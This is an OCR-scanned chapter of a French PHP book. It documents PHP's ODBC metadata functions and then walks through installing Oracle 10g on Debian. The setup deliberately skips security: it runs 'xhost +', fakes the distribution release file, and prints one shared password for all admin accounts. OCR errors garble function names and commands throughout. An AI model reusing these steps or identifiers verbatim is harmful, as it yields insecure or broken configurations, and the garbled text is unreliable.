retour Nombre de champs, ou FALSE en cas d'erreur. 



odbc_field_name() 



Retourne le nom d'un champ designe par son indice dans le resultat de requete. 

Syntaxe string odbc_f i el d_name(resource $idResultat, int $idxChamp) 

$i dResul tat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Nom du champ, ou FALSE en cas d'erreur. 



Ou, a l'inverse, leur index : 



odbc_field_num() 



Retourne l'index du champ designe par son nom dans le resultat de requete. 

Syntaxe int odbc_fi el d_num(resource $i dResul tat, string $champ) 

$i dResul tat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$champ Nom du champ. 

retour Index du champ (le premier champ porte l'index 1), ou FALSE en cas 

d'erreur. 
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Cependant, les champs ont d'autres informations a nous livrer que leur nom et leur index. Pour 
cela, vous disposez des fonctions : 



03 »> 

■5 05 

'03 
= C 

o c 

IS o 



CO 



odbc_field_type() 

Retourne le type du champ designe par son index dans le resultat de requete. 

Syntaxe int odbc_f i el d_type(resource $idResultat, int $idxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ; 



— 1 So odbc_execute I 
o to 

"° $i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Type du champ, ou FALSE en cas d'erreur. 



odbc_field_len() 



Retourne la longueur du champ designe par son index dans le resultat de requete. 

Syntaxe int odbc_fi el d_l en (resource $idResul tat, int $idxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ; 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Longueur du champ, ou FALSE en cas d'erreur. 

Cette fonction possede un alias baptise odbc_f ield_precision ( ) 



odbc_field_scale() 



Retourne l'echelle (?) du champ designe par son index dans le resultat de requete (0 souvent, 
6 pour un TIMESTAMP DB2). 

Syntaxe int odbc_fi el d_scale (resource $idResultat, int $idxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Echelle (?) du champ, ou FALSE en cas d'erreur. 
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... sur les champs d'une table 

II n'est cependant pas necessaire de passer par une requete pour recuperer des informations sur 
une table. Vous disposez ainsi de : 



odbc_columns() 

Retourne un pointeur sur la liste des champs des tables d'une base. 



v> 

CD 



a. as 
o S: 

Syntaxe resource odbc col umns (resource $idConnexion) § § 

CD- „ 



$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
TABLE CAT. 
TABLE _SCHEM. 
TABLE _NAME, le nom de la table. 
COLUMN _NAME, le nom du champ. 
DATA_TYPE, le code du type du champ (voir tableau). 
TYPE_NAME, le type du champ en toutes lettres. 
COLUMN _SIZE, taille du champ (en octets). 
BUFFERLENGTH. 
DECIMAL DIGITS. 
NUM_PREC_RADIX. 

NULLABLE, 1 si le champ peut prendre la valeur NULL. 
REMARKS, commentaire associe au champ. 
COLUMN _DEF. 

SQL _DATA TYPE, le code SQL du type du champ. 
SQL_DA TETIMEJUB. 
CHARJDCTE T_LENG TH. 
ORDINAL _POSITION. 

IS_NULLABLE, YES si le champ peut prendre la valeur NULL, NO sinon. 
ORDINAL. 



CD 



CD 

CO 



Tableau 10.15 : Les types ODBC rencontres 



Identifiant de Type 


Access 97 (MS) 


DB2 (IBM) 


-400 




DATALINK 


-99 




CLOB 


-98 




BLOB 


-11 


GUID 




-7 


BIT 




-6 


BYTE 




-5 




BIGINT 
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Identifiant de Type 


Access 97 (MS) 


DB2 (IBM) 


-4 


LONGBINARY 


LONG VARCHAR FOR BIT DATA 


-3 


VARB INARY 


VARCHAR ( ) FOR BIT DATA 


-2 


BINARY 


CHARacterO FOR BIT DATA 


-1 


LONGCHAR 


LONG VARCHAR 


1 


CHAR 


CHARacter 


2 


CURRENCY 


NUMeric 


3 




DECimal 


4 


INTEGER COUNTER 


INTeger 


5 


SMALL INT 


SMALLINT 


6 




FLOAT 


7 


REAL 


REAL 


8 


DOUBLE 


FLOAT 


9 DATE 


10 




TIME 


11 


DATETIME 


TIMESTAMP 


12 


VARCHAR 


VARCHAR 



... sur les tables d'une base 

De meme, vous pouvez aisement recuperer la liste des tables. 



odbc_tables() 



Retourne un pointeur sur la liste des tables d'une base. 

Syntaxe resource odbc_tabl es (resource $i dConnexi on) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
TABLE _CAT. 
TABLE _SCHEM. 
TABLE _NAME, le nom de la table. 

TABLE TYPE, type de la table TABLE, SYSTEM TABLE, VIEW, etc. 
REMARKS, commentaire associe a la table. 
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... sur les procedures stockees d'une base 

De meme, vous pouvez aisement recuperer la liste des procedures stockees. 



odbc_procedures() 



«° I— 
CD ~ 

Retourne un pointeur sur la liste des procedures stockees d'une base. "* 5. 

™ 

Syntaxe resource odbc_procedures (resource $i dConnexi on) g- £1 

= o' 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par g N = 

odbc_connect ( ) ou odbc_pconnect ( ) . S3 ™ 

CO 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
PROCEDURE CAT. 
PROCEDURE JCHEM. 

PROCEDURE _NAME, le nom de la procedure stockee. 
NUM_INPUT_PARAMS, le nombre de parametres d'entree. 
NUM_OUTPUT_PARAMS, le nombre de parametres de sortie. 
REMARKS, commentaire associe a la procedure stockee. 
PROCEDURE TYPE, le type de la procedure stockee. 

Tout comme les informations plus precises : 



odbc_procedurecolumns () 

Retourne un pointeur sur la liste des parametres des procedures stockees d'une base. 

Syntaxe resource odbc_procedurecol umns (resource $i dConnexi on) 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
PROCEDURE CAT. 
PROCEDURE JCHEM. 

PROCEDURE _NAME, le nom de la procedure stockee. 
COLUMN _NAME, le nom du parametre. 
COLUMN TYPE. 

DATA_TYPE, l'identifiant du type du parametre (voir tableau). 

TYPE_NAME, le type du parametre en toutes lettres. 

COLUMN _SIZE, taille du parametre (en octets). 

BUFFERLENGTH. 

DECIMAL DIGITS. 

NUM_PREC_RADIX. 

NULLABLE, 1 si le champ peut prendre la valeur NULL. 
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REMARKS, commentaire associe au parametre. 
COLUMN _DEF. 

SQL_DATA_TYPE, l'identifiant SQL du type du parametre. 

SQLDA TA TYPEJUB. 

CHAR_OCTET_LENGTH. 

ORDINAL _POSITION, position du parametre dans l'appel de la 
procedure. 

cd jg IS_NULLABLE, YES si le parametre peut prendre la valeur NULL. 



'CD 
t= £= 
O £= 
IS O 



= CO 

"j cu 



... sur le serveur 

II vous est possible d'acceder a la liste des types supportes par le serveur de bases de donnees 
en appelant la fonction odbc_getTypeinf o ( ) . 



odbc_getTypeInfo () 

Lance une requete interrogeant la base de donnees sur la liste des types SQL supportes. 

Syntaxe resource odbc_getTypeInfo(resource $i dConnexi on [, int 

$idType]) 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

$idType Identifiant de type sur lequel limiter la recherche (par defaut, ou si 

$idType vaut 0, la liste complete est retournee). 

retour Identifiant de resultat de requete contenant les champs : 

TYPE_NAME, type en toutes lettres. 
DATA_TYPE, identifiant (numerique) du type. 
COLUMN _SIZE. 
LITERAL PREFIX. 
LITERAL _SUF FIX. 

CREATE_P ARAMS . 

NULLABLE. 

CASESENSITIVE. 

SEARCHABLE. 

UNSIGNED_ATTRIBUTE. 

FIXED _PREC_SCALE. 
AUTO_UNIQUE_ VALUE. 
SQLDATATYPE. 
SQLDATETIMESUB. 
NUM_PREC_RADIX. 
INTERVAL PRECISION. 
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10.11. Oracle 

Oracle est certainement la base de donnees la plus utilisee dans le monde professionnel ; il etait 
done important de decrire, ici, comment acceder a une telle base via PHP. 



Installation g 

CO 
CD 

Le but de ce chapitre n'est pas de faire de vous un administrateur de base de donnees Oracle. v> 



a. as 

o 2: 

= O 

3 = 

CD* _ 

CD =■ 
CD 



Non. Nous nous contenterons de decrire une installation standard, sans prendre en compte les 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et Oracle 
sur des machines de test pour vous familiariser avec cet environnement avant de passer a un 
serveur de bases de donnees destine a la production (et peut-etre configure par un expert 
Oracle). " «* 

De plus nous installerons le serveur Oracle sur la meme machine que le serveur Web. 

Pour nos tests, nous avons installe Oracle lOg sous un environnement Debian Sarge. 

Dans tous les cas, vous etes vivement invites a consulter la documentation officielle Oracle pour 
mener a bien l'installation de la base de donnees sur votre systeme. 



Pre-requis 

Pour commencer, vous devez vous procurer le CD-ROM d'installation d'Oracle ou en 
telecharger une version a l'adresse http://otn.oracle.com/software/content.hlml. 

Pour Linux, la version 10.1.0.2 telechargee se presente sous la forme d'unfichier ship.db.cpio.gz. 

Attention, l'installation d'Oracle est tres exigeante. II vous faudra 512 Mo de RAM (en fait 
nous l'avons menee a bien avec a peu moins) ainsi qu'l Go de swap. 



REMARQUE 



En manque de swap ? 

Si vous ne disposez pas suffisamment de swap vous pouvez aisement en creer (a 
condition de disposer de suffisamment d'espace disque). Pour cela enchainer les 
commandes suivantes (vous pouvez la repeter pour creer plusieurs fichiers). 

dd if=/dev/zero of=fi chi erswap bs=lk count=<tai 1 1 e en d'octets du fichier 

X- de swap> 

chmod 600 fi chi erswap 

mkswap fi chi erswap 

swapon fi chi erswap 



Preparation a l'installation du serveur de base de donnees 

Vous etes invite a creer, depuis le compte root, sur le serveur Oracle, un nouveau compte 
utilisateur oracle associe au groupe principal oinstall (groupe des fichiers installes par 
oracle) et au groupe dba (groupe des administrateurs oracle). 

# groupadd oinstall 
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# groupadd dba 

# useradd -g oinstall -G dba -s /bin/bash -d /home/oracle oracle 

Pour vous eviter des soucis, vous pouvez creer des maintenant le repertoire destine a heberger 
la partie logicielle d'Oracle et celui pour les donnees. 

# mkdir -p /usr/1 ocal /oracl elOg 

# mkdir -p /data/oradata 

# chown -R oracle:oinstall /usr/local/oraclelOg 

# chmod -R 775 /usr/1 ocal /oracl elOg /data/oradata 

II est maintenant temps de se logger en tant qu'utilisateur oracle : 

# su - oracle 

et de modifier l'environnement de ce compte utilisateur. Pour cela, modifiez le fichier —oracle/ 
.bashrc en ajoutant les lignes suivantes : 

export ORACLE_BASE=/usr/l ocal /oracl elOg 

export ORACLE J0ME=$0RACLE_BASE/product/10.1.0/db_l 

export ORACLE_SID=mabase 

unset LANG 

export PATH=$0RACLE_H0ME/bi n : $PATH 

oracle_base est le repertoire ou sera installe la partie logicielle d'Oracle incluant les scripts 
d'installation. Le moteur de la base de donnee etant quant a lui sous oracle_home. 

oracle_sid est le nom de la base de donnees que Ton souhaite utiliser par defaut. 

Pour heriter de ces modifications, tapez maintenant la commande : 

$ source -/.bashrc 

II est temps maintenant de decompresser l'archive precedemment telechargee (par exemple, 
sous /usr/local/src/database/oraclelOg). 

$ cd /usr/1 ocal /src/database/oracl elOg 
$ gunzip ship.db.cpio.gz 
$ cpio -idmv < ship.db.cpio 

Vous voila desormais avec un repertoire /usr/local/src/database/oraclelOg/Diskl contenant, 
entre autres, un fichier nmlnstaller. 



REMARQUE 



Installation depuis un CD-ROM 

Dans le cas d'une installation par CD-ROM, vous n'avez pas a decompresser 
d'archives, mais vous devez "monter" le CD. Cette operation se realise generalement 
(mats cela depend de l'environnement) par V operation (depuis le compte root) : 

# mount /mnt/cdrom 

Des lors, les operations suivantes faisant reference a /usr/local/src/database/ 
oracle lOg/Diskl doivent etre comprises comme faisant reference a /mnt/cdrom. 



Oracle 



Avant de lancer le script d'installation, assurez-vous que le compte oracle a le droit d'ouvrir 
une fenetre X. Pour cela, pas la peine de faire de sentiments : ouvrez une nouvelle fenetre 
(xterm) en tant que l'utilisateur initial de la session, et tapez la commande : 

# xhost + 

Vous pouvez alors tenter de lancer le script d'installation. 



$ export DISPLAY= 
$ cd /tmp/Diskl 
$ ./runlnstaller 



:0.0 



v> 

CD 



Ceci affiche la fenetre suivante : 




£2. Q5 

o 2: 
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CD* _ 

CD =■ 



Welcome 

The Oracle Universal Installer guides you through the installation and configuration of 
your Oracle products. 

Click "Installed Products..." to see all installed products. 



Help ) Installed Products.. 



Figure 10.19 : Bienvenue 



Demstal hxduas. 



^nci.ji Oracle Universal Insraller 



J 



eat "_ ) Install Cancel j 



Comment ? Cela ne fonctionne pas ? Mouais... II fallait s'y attendre. Ce n'est sans doute pas 
bien grave ; consultez simplement la remarque qui suit. Si, en revanche, cela a fonctionne, vous 
avez de la chance (!), et vous pouvez passer a la suite. 




Distribution non supportee 

Use peut que I'execution de la commande precedente conduise au message d'erreur 



Checking operating system version: must be redhat-2. 1, UnitedLinux-1. or redhat-3 
Failed «« 

Ceci est juste du au fait qu 'Oracle lOg ne supporte officiellement que les trois 
distributions citees dans le message, ce qui ne signifie toutefois pas qu 'il ne fonctionne 
pas sous d'autres distributions. 
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REMARQUE 



Pour eviter cela, deux solutions s'offrent a vous: 

Vous pouvez lancer le script d 'installation avec V option permettant de ne pas f aire le 
controle des pre-requis. 

$ ./runlnstaller -ignoreSysPrereqs 

Ou bien, vous f aire passer pour un autre (enfin... faire passer votre distribution par 
une autre) 

Pour cela creez ou modifiez (apres en avoir fait une sauvegarde) le fichier /etc/ 
redhat-release afin qu'il contienne I'unique ligne: 
Red Hat Enterprise Linux AS release 3 (Taroon) 
et relancez runlnstaller. 



Une fois que vous aurez clique sur le bouton Suivant, vous verrez apparaitre : 



Oracle Universal Installer: Specify Inventory directory and credentials 



Specify Inventory directory and credentials 

You are starting your first installation on this host. As part of this install, you need to specify a 
directory for installer files. This is called the "inventory directory'- Within the inventory directory the 
installer automatically sets up subdirectories for each product to contain inventor/ data and will 
■ . ■ jii . r ■ i i.. i.i i.n.i i. n.ii. i .i 

Enter the full path of the inventory directory 

|/usr/local/oraclelQg/oralnventory Browse.. ) 



You can specify an Operating System group that has write permission to the above inventory directory. 
You can leave the field blank if you want to perform the above operations as a Superuser. 

Specify Operating System group name: 
joinstall 



Help ) Installed Products... j 



Figure 10.20 : Emplacement des scripts d' installation 



Cette fenetre de dialogue vous demande de confirmer le chemin du repertoire oralnventory ou 
seront deposes les scripts d'installation (celui ci est base sur la valeur definie par 
ORACLE _HOME) ainsi que le groupe auquel les fichiers ainsi crees doivent appartenir. Vous 
pouvez conserver les valeurs par defaut et valider. 

Durant cette pre-installation, vous serez invites a executer un script depuis le compte 
utilisateur root. 



Oracle 



EBB 



Certain actions need to be performed with root privileges 
before the install can continue. These actions are stored in a 
shell script named 

/usr/local/oraclelOg/oralnventory/orainstRoot.sh. 



Please eiiecute the 

/usr/local/oraclelOg/oralnventory;orainstRoot.sh script now 
from another window, then click "Continue" to continue the 
install. 



Help j £ 



Continue Cancel 



Figure 10.21 : 

Pre-installation sous le 
compte root 



03 

v> 

CD 



a. 03 
o 2: 

= O 



CD- 
CD 



Pour cela, il suffit de suivre les instructions. Dans une fenetre (xterm) ouvrez une session root 
et executez la commande 

# /usr/1 ocal /oracl elOg/oralnventory/orainstRoot .sh 

Vous pouvez maintenant reprendre le cours normal de l'installation en cliquant sur Continue. 



Oracle Universal Installer: Specify File Locations 



Specify File Locations 

Source 

Enter the full path of the file representing the product(s) you want to install: 
Pa 1 r: /usr/local/5rc/databa5e/OraclelOg/Di5kl/5tage/product5.ifml 



Browse.. 



Destination 

Enter or select a name for the installation and the full path where you want to install the product. 



Name: | OraDblOg.hornel 



£fr |/usr/local/oraclelOg/producT/10.1.0/db_l 



Help j Installed Products... ) 



About Oracle Universal Installer 



Next ") Install Cancel J 



Figure 10.22 : Emplacement des fichiers 

II vous est maintenant demande de preciser le chemin du repertoire contenant le logiciel 
d'installation ainsi que le chemin du repertoire destination. La, encore, vous pouvez conserver 
les valeurs par defaut et valider. Le logiciel installe alors tous les scripts necessaires a 
l'installation du serveur. 

Vous etes maintenant pret a installer le serveur. 
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Installation du serveur Oracle 

Une fois les etapes precedentes passees, vous arrivez a 1'ecran suivant 



Oracle Universal Installer: Select Installation Tv 



a. a 



Select Installation Type 

Oracle Database lOg 10.1.0.2.0 

What type of installation do you want? 

1" Enterprise Edition (873MB) 
Oracle Database lOg Enterprise Edition, the first database designed for the grid, is a self- man aging database 
that has the scalability, performance, high availability and security features required to run the most 
demanding, mission critical applications 

* Standard Edition (835MB) 
Oracle Database log Standard Edition is ideal for workgroups, departments and small-to-medium sized 
businesses looking for a lower-cost offering 

r Custom 

I. it-k . . ■: ■■ ■ 1. ■ ii ■: .1 . :■ - . ... 1 



Help ) hstalled Products... j 



Product Languages... j 
Nex't ) Install Cancel J 



Figure 10.23 : Selection du type (('installation 

Pour une premiere installation, nous nous contenterons d'une installation "standard". 

Attention, si vous souhaitez installer le composant contenant les messages pour une langue 
autre que l'anglais, avant de cliquer sur Next, selectionnez Product Languages. 



■u.u iu .ij.-yj.yi.i.^ 



EBB 



Language Selection 

Oracle Database lOg 10.1.0.2.0 

Please select the languages in whioh your 
product Oracle Database lOg 10.1.0.2.0 wil 
run. 

Available Languages: Selected Languages 



English (United Kingc 

Estonian 

Finnish 


: 




French 


German 






Greek 






Hebrew 






Hungarian 














Help 



Figure 10.24 : 

Selection des langiies 



C'est tout simple, il suffit d'ajouter les langues desirees. Puis cliquez sur Ok. Et cliquez sur le 
bouton Next de la fenetre principale (presentee precedemment). 

Le script controle alors les differents parametres de l'environnement... 
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Loading dialog; tor Oracle Net Manager 



The installer will row verify that the system meets all the minimum requirements for installing and 
configuring the chosen product. You are required to manually verify and confirm the items that are 
flagged as warnings or manual checks. For details on performing those checks, click on the item and 
see the details at the bottom. 



Check 


Type 




Status 




Checking operating system certification 


Automatic 


■ 


In progress... 




Checking kernel parameters 


Automatic 


r 


Pending... 




Checking recommended operating system packages 


Automatic 


r 


Pending.., 




Checking recommended glibc version 


Automatic 


r 


Pending... 






Ai itnmalir 


r 


PpnHinn 




A\ v,',v, v,',v,v, 











Retry Stop 



Checking operating system certification 



Help ) Installed Products... ) Back ] Next ) Install ) Cancel j 

Figure 10.25 : Analyse de I'environnement 

... et poursuit l'installation (apparemment y compris si des erreurs sont detectees) 



03 

v> 

CD 



a. 03 
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CD- 
CD 



Oracle Universal Installer: Select Database Configuration 



b a, 



Select Database Configuration 

You can choose either to create a database as part of this installation or install just the software 
necessary to run a database, and perform any database configuration later. If you want to create a 
database as part of this installation the Oracle Database Configuration Assistant will be launched 
automatically at the end of the install to create a database of the type selected. 

Select the configuration options that suits your needs. 



Create a starter database 



Select the type of starter database you wish to create. 
* General Purpose 

A starter database designed for general purpose usage. 
C Transaction Processing 

A starter database optimized for transaction-heavy abPlications. 
f~ Data Warehouse 

A starter database optimized for data warehousing apblications. 
f Advanced 

Allows you to customize the configuration of your starter database. 



r Do not create a starter database 
Help ) Installed Products... ) 

Figure 10.26: Creation dune base 



Vous pouvez choisir de n'installer que le serveur de la base de donnees mais autant en profiter 
pour creer egalement la base de donnees. Pour cela, conservez les valeurs par defaut, a savoir 
"Create a starter database" de type "General Purpose", puis cliquez sur Next. 



767 



Chapitre 10 L'utilisation des bases de donnees 



Oracle Universal Installer: Specify Database Configuration Options 



Specify Database Configuration Options 



Database Naming — 

A Global Database Name, typically of the form "name, domain", uniquely identifies an Oracle 
database. In addition, each database is referenced by at least one Oracle System Identifier (SID). 
Specify the Global Database Name and SID for this database. 



Global Database Name: 



-abase 



SID: 



m abase 



?- Database Character Set — 

The database character set is determined based on the number of language groups that will be 
stored in your database. See "Help" for the definition of language groups. Select the character set that 
should be used in your database. 



Select Database Character set: 



*est European WE8IS08853P1 



Database Examples 

You can choose to create a starter database with or without sample suhemas Note thai you can plug 
m the sample schernas to your existing starter database after creation. See "Help" for more details 



r Create database with sample schemas 



Help J Installed Products... ) 



Figure 10.27 : Parametres de la base 



II vous est maintenant demande de donner un nom a cette base de donnees un nom interne sid 
et un nom externe global (dans notre cas, nous avons simplement choisi le terme "mabase"). 
Cliquez sur Next. 



Oracle Universal Installer: Select Database Manaaement Option "~ r ^ 


s a 


Select Database Management Option 




Each Oracle Database lOg maybe managed centrally using the Oracle Enterprise Manager lOg Grid 
Control or locally using the Oracle Enterprise Manager lOg Database Control. For Grid Control, sbecify 
the Oracle Management Service through which you will centrally manage your database. For Database 
Control, you may additionally indicate whether you want to receive email notifications for alerts. 


Select the management options for your instance. 




J" Use Grid Control for Database Management 




Management Service: | No Agents Found 


* Use Database Control for Database Management 




V Enable Email Notifications 




Outgoing Mail (SMTP) Server f 






Email Address: \_ 




Help ) Installed Products... J Back | Next J Install 


Cancel ,l 


ORACLE' 


Figure 1 0.28 : Options de gestion de la base 





Passons sur les possibilites de gestion de la base. Cliquez sur Next. 
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Oracle Universal Installer: Specify Database File Storaqe Option 



Specify Database File Storage Option 

Select the storage mechanism you would like to use for database creation 
* File System 

Use the file system for database storage. For best database organization and performance., Oracle 
recommends installing database files and Oracle software on separate disks. 



Specify Database file location: |/data/oradata Imh 

Automatic Storage Management (ASM) 

Automatic Storage Management simplifies database storage administration and optimizes database layout 
for I/O performance. 



Raw Devices 

Rawpartitions can also provide the required sharelTSToragij^FReal ftpplieatlon Clusters (RAC) databases. 
You will needto create one raw device for each data file, control file, and log file for the starter database and 
then provide a file that maps specific tab I espaces, control files, and log files to rawvolumes. 



Specify Raw Devices mapping file:[ 



Help J Installed Products... ) 



CO 
CD 
CO 



c a) 
o ~ 

3 O 



CD- 
CD 



Figure 10.29 : Emplacement des donnees 



II est temps de preciser ou doivent etre stockees les donnees de la base de donnees. Nous avons 
choisi Idata/orainst. Cliquez sur Next. 



Oracle Universal Installer: Specify Backup and Recovery Options 



Specify Backup and Recovery Options 

Select whether or not to enable automated backups for your database. Backup Job, if selected, will use 
the specified recovery area storage. 



* Do not enable Automated backups 
<~ Enable Automated Backups — 

f- Recovery Area Storage 

* File System 

Use the file system forfiles related to backup and recovery 1 of your database. 
Recover./ Area Location: | / u 5 r/ 1 c a.l / r a.i: 1 5 1 n /VI a.5 h _ r e c o'ii'e r-./- are a/ 



<" Automatic Storage Management 

Use Automatic Storage Management for file; related to backup and recover/. 



- Backup Job Credentials — 

Specify the operating system credentials used by the backup Job. 
Username: I 



Password: (_ 



Help j Installed Products... ) 



Next""" j 



J 



Figure 10.30 : Possibilites de sauvegarde 

Passons sur les possibilites de sauvegarde (backup). Cliquez sur Next. 
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Oracle Universal Installer: Specifv Database Schema Passwords 



Specify Database Schema Passwords 

The Starter Database contains pre-loaded schemas, most of which have passwords that will expire 
and be locked at the end of install. After the install is complete, you must unlock and set new 
passwords for those accounts you wish to use. Schemas used for the database management and post- 
install functions are left unlocked, and passwords forthese accounts will not expire. Specifythe 
passwords for these accounts. 



t~ Use different passwords forthese accounts 



User Name 


| Enter Password 


Confirm Password 




SYb 







SYSTEM 








SVSMAN 
















i 





Use the same password for all the accounts 
Enter Password: |******** 



Confirm Password; 



Figure 10.31 : Specification des mots de passe 

Par soucis de simplicite, nous avons choisi d'utiliser le meme mot de passe pour tous les 
comptes; a savoir "biblephp" (ce que nous retrouverons dans les fichiers de configuration des 
scripts). Cliquez sur Next. Un premier traitement se declenche alors. 



Summary 

Oracle Database 10g 10.1.0.2.0 



-Global Settings 

Source: /usr/local/src/database/QraclelOg/Diskl/stage/products.xml 
Oracle Home: /usr/local/oraclel0g/product/10.1.0/db_l (OraDblOu.homel) 
■Installation Type: Standard Edition 
-Product Languages 
English 
French 
L Canadian French 
-Space Requirements 

I-/ Required 1.60GB (includes 128MB temporary) : Available 1.13GB 
-New Installations 0-40 products) 

_. i . in. ^. i : - ■ i .„ ■■ — r i I.I..-.. 
Advanced Replication 10.1.0.2.0 
Agent Required Support Files 10.1.0.2.0 



Help J Installed Products... J 



6a:k 



Next 



Figure 10.32 : Recapitulatif des parametrages choisis 



Cette fois, l'installation est imminente. Juste le temps de verifier que toutes les conditions sont 
remplies. En l'occurrence, la copie d'ecran montre un cas d'erreur (espace disque insuffisant) 
assez facilement corrige. Cliquez sur Install. 
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Install 

^ Installation in progress 

Link pending.., 
Setup pending... 

Configuration pending... 

Extracting files to 7LJsr/local/oraclel0g/prodLict/10.1.0/db_l'. 
■ | 1% 

f'M 111 I 

You can find a log of this install session at: 

/usr/local/oraclelOg/oralnventon'/logs/iristallActionsSOO^I -07-ll_lZ-0Z-18PM.log 
Help I Installed Products... I Back I Next ) |n 



Oracle Database lOg 
The Database for the Grid 

- Viit Jdlizalion at every layer 
■ Policy-based provisioning 

- Resource pooling 



03 

v> 

CD 



B. 03 

o 2: 

= O 



CD- 
CD 



Figure 10.33 : En cours d' installation 



Cette fois c'est parti. 

reinstallation risque d'etre perturbee par quelques messages d'erreur comme suit mais ne 
paniquez pas, ils ne devraient pas porter a consequence. Cliquez simplement sur Continue. 



EBB 



Error in invoking target 'ihsodbc sdo.on' of makefile 
Vusry local/oracle lOg/product/ 10. 1,0 
/ d b _ 1 / r d b m s / 1 i b / i n ■:■ _ r d b rn s . in k 1 . See 
7usr/local/oraclelQg/oralnventory/logs/installActions20C4- 
07-ll_06-40-56PM.log" for details. 

Click Help for more information. 
Click Retry to try again. 

Click Continue to use the default value and go on. 
Click Cancel to stop this ins taxation. 



Help 



Retry 



Continue 



Figure 10.34 : 

Message d'erreur lors 
de V installation 



EBB 



Error in invoking target 'utilities alLno.rjrcl' of makefile 
Vusr/local/oraclelOg/prodtJd/10.1.0 
/db.l/rdbrns/lib/ins.rdbrns.mk'. See 
7usr/local/oraclelOg/oralnventory/logs/installActions2004- 
07-ll_06-40-56PM.log' for details. 

Click Help for more information. 
Click Retry to try again. 

Click Continue to use the default value and go on. 
Click Cancel to stop this ins taxation. 



Help 



Retry 



Continue 



Figure 10.35 : 

Ne pas tenir compte des 
messages d'erreur et 
continuer 



Le logiciel d'installation passe alors a la configuration des differents elements. 
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Oracle Universal Installer: Configuration Assistants 



Configuration Assistants 



The following configuration assistants will configure and start the components yau selected earlier. 
Tool Name Istatus Type 



|r iSQL* Plus Configuration Assistant 
\<? Oracle Database Configuration Assistant 



Optional 
Optional 



Details (see lull log at .'usiVlocal/orviCielOg/oraii^ 



Configuration assistant "i5QL*Plus Configuration Assist ant" succeeded 

Output generated from configuration assistant "Oracle Net Configuration Assistant": 



Help 



nstallecl Products.. 



Back 



Next 



Figure 10.36 : Les assistants poursuivent ['installation sans votre intervention 

Vous n'avez rien a faire, les operations s'enchainent d'elles meme. 

Figure 10.37 : 

La base de donnees se 
cree enfin 



mz 



mm 




| f Copying database files 

Creating and starting Oracle instance 
Completing Database Creation 



Clone database creation in progress 




(anp) 



La base de donnees se cree. 



Complement d'installation 

Afin que la base de donnees (mabase) soit systematiquement demarree lorsque l'on lance 
Oracle, vous devez modifier le fichier /etc/oratab. conf afin de remplacer le N a la fin de la 
ligne par un Y. 

mabase :/usr/l ocal /oracl el0g/product/10. 1 . 0/db_l : Y 
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De plus vous etes invites a modifier le fichier listener.ora dans le repertoire $ORACLE_HOME/ 
network/admin afin d'ajouter les lignes relatives a mabase. Le fichier ressemblera alors a : 

SID_LIST_LISTENER = 
(SID_LIST = 
(SID_DESC = 

(SIDJIAME = PLSExtProc) 

(0RACLE_H0ME = /usr/l ocal /oracl elOg/product/10 . 1 .0/db_l) 
(PROGRAM = extproc) 

) 

(SID_DESC = 

(GLOBAL_DBNAME = mabase) 

(0RACLE_H0ME = /usr/l ocal /oracl elOg/product/10 . 1 .0/db_l) 
(SIDJIAME = mabase) 

) 

) 

LISTENER = 

(DESCRIPTION_LIST = 
(DESCRIPTION = 
(ADDRESS_LIST= 

(ADDRESS = (PROTOCOL = IPC) (KEY = EXTPROC)) 

) 

(ADDRESS_LIST= 

(ADDRESS = (PROTOCOL = TCP) (H0ST=192. 168. 1 . 1) (P0RT=1521) ) 

) 

) 

) 

Ce fichier indique principalement que le listener doit etre a l'ecoute en tcp sur la machine 
192 . 168 . l . l (la machine du serveur de bases de donnees) sur le port 1521 (port par defaut). 

II indique, en outre, qu'il y a sur ce serveur une base de donnee "mabase", hebergee sous 
/usr/local/oraclel0g/product/10.1.0/db_l, et qui sera identified comme etant "mabase" (par les 
clients). 



Mais il est oil ce serveur ? 

Afin de vous eviter d'inutiles soucis, si vous indiquez un nom de serveur plutot qu 'une 
adresse IP assurez qu'Oracle n'a pas de mal a ['identifier. Le plus simple etant alors 
de declarer ce serveur dans le fichier /etc/hosts. 



Demarrage du serveur de bases de donnees 

Pour demarrer l'interface qui va permettre de communiquer avec le serveur Oracle (et que Ton 
vient de configurer via listener.ora), lancez (sous le compte oracle et avec les variables 
d'environnement definies dans le fichier .bashrc): 

$ lsnrctl start 
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Pour demarrer le serveur Oracle, suivez les instructions suivantes : 
$ dbstart 

Test du serveur Oracle (en local) 

Vous pouvez maintenant tester la connexion au serveur Oracle. 

$ sqlplus system/biblephpOmabase 
SQL > CREATE TABLE test (id INTEGER); 
SQL > INSERT INTO test VALUES (1234); 
SQL > SELECT * FROM test; 
SQL > DROP TABLE test; 

Si vous avez pu enchainer les requetes precedentes sans generer d'erreur, c'est probablement 
que le serveur fonctionne correctement. 

Utilisateurs par defaut 

Le system/biblephp indique est un couple <nom d'utilisateur>/<mot de 
passe>. Or lors de I 'installation nous avons choisi d'associer le mot de passe 
biblephp a tous les comptes. 

Arret du serveur de bases de donnees 

